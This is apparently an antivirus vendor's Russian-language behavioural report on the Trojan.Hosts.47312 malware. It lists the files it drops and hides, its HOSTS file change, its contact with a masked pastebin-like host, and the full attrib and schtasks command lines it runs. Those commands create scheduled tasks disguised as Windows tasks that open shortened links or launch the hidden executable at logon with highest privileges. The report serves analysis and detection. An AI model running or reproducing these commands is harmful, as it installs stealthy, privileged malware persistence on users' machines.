Trojan.Hosts.47312

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\smartscreenspecific
<SYSTEM32>\tasks\microsoft-windows-diskdiagnosticresolver
<SYSTEM32>\tasks\.net framework ngen v4.0.30319 critical
<SYSTEM32>\tasks\storagecardencryption task
<SYSTEM32>\tasks\accbackgroundapplication
<SYSTEM32>\tasks\microsoftsdr
<SYSTEM32>\tasks\createexplorershellunelevatedtasks

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует отображение:

скрытых файлов

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\microhp\drivers\x64\spl.exe
%APPDATA%\protect\certificate.format.ps.vbs

Присваивает атрибут 'скрытый' для следующих файлов

%APPDATA%\microhp\drivers\x64\spl.exe
%APPDATA%\protect\certificate.format.ps.vbs

Изменяет файл HOSTS.

Сетевая активность

TCP

'pa###bin.com':443

UDP

DNS ASK pa###bin.com

Другое

Создает и запускает на исполнение

'%APPDATA%\microhp\drivers\x64\spl.exe'
'%WINDIR%\syswow64\cmd.exe' /c attrib +H +S +R "%APPDATA%\\MicroHP\Drivers\X64" & attrib +H +S +R "%APPDATA%\\MicroHP\Drivers\X64\*" /S /D' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "11:20" /sc daily /mo "4" /tn "StorageCardEncryption Task" /tr "'explorer'http://bi#.ly/30lMR9a"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "19:02" /sc daily /mo "3" /tn "Microsoft-Windows-DiskDiagnosticResolver" /tr "'explorer'http://bi#.ly/2V8B3qq"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "00:36" /sc daily /mo "0" /tn "Data Integrity Scan for Crash Recovery" /tr "'explorer'https://cutt.ly/geObjDx"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "18:59" /sc weekly /mo "6" /d "Tue" /tn "SmartScreenSpecific" /tr "'explorer'http://bi#.ly/37NUHL8"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "08:18" /sc monthly /m "jun" /tn ".NET Framework NGEN v4.0.30319 Critical" /tr "'explorer'http://bi#.ly/2V9K9mA"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "00:10" /sc daily /mo "1" /tn "StorageCardEncryption Task" /tr "'explorer'http://bi#.ly/2vOgghc"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "11:43" /sc daily /mo "4" /tn "ACCBackgroundApplication" /tr "'explorer'http://bi#.ly/2SML3DW"' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /sc weekly /mo 1 /d FRI /tn MicrosoftSDR /tr "%APPDATA%\Protect\Certificate.format.ps.vbs' (со скрытым окном)
'%WINDIR%\syswow64\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn CreateExplorerShellUnelevatedTasks /tr "'%APPDATA%\MicroHP\Drivers\X64\spl.exe'"' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c attrib +H +S +R "%APPDATA%\\MicroHP\Drivers\X64" & attrib +H +S +R "%APPDATA%\\MicroHP\Drivers\X64\*" /S /D
'%WINDIR%\syswow64\attrib.exe' +H +S +R "%APPDATA%\\MicroHP\Drivers\X64"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "11:20" /sc daily /mo "4" /tn "StorageCardEncryption Task" /tr "'explorer'http://bi#.ly/30lMR9a"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "19:02" /sc daily /mo "3" /tn "Microsoft-Windows-DiskDiagnosticResolver" /tr "'explorer'http://bi#.ly/2V8B3qq"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "00:36" /sc daily /mo "0" /tn "Data Integrity Scan for Crash Recovery" /tr "'explorer'https://cutt.ly/geObjDx"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "18:59" /sc weekly /mo "6" /d "Tue" /tn "SmartScreenSpecific" /tr "'explorer'http://bi#.ly/37NUHL8"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "08:18" /sc monthly /m "jun" /tn ".NET Framework NGEN v4.0.30319 Critical" /tr "'explorer'http://bi#.ly/2V9K9mA"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "00:10" /sc daily /mo "1" /tn "StorageCardEncryption Task" /tr "'explorer'http://bi#.ly/2vOgghc"
'%WINDIR%\syswow64\schtasks.exe' /create /f /st "11:43" /sc daily /mo "4" /tn "ACCBackgroundApplication" /tr "'explorer'http://bi#.ly/2SML3DW"
'%WINDIR%\syswow64\attrib.exe' +H +S +R "%APPDATA%\\MicroHP\Drivers\X64\*" /S /D
'%WINDIR%\syswow64\schtasks.exe' /create /f /sc weekly /mo 1 /d FRI /tn MicrosoftSDR /tr "%APPDATA%\Protect\Certificate.format.ps.vbs
'%WINDIR%\syswow64\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn CreateExplorerShellUnelevatedTasks /tr "'%APPDATA%\MicroHP\Drivers\X64\spl.exe'"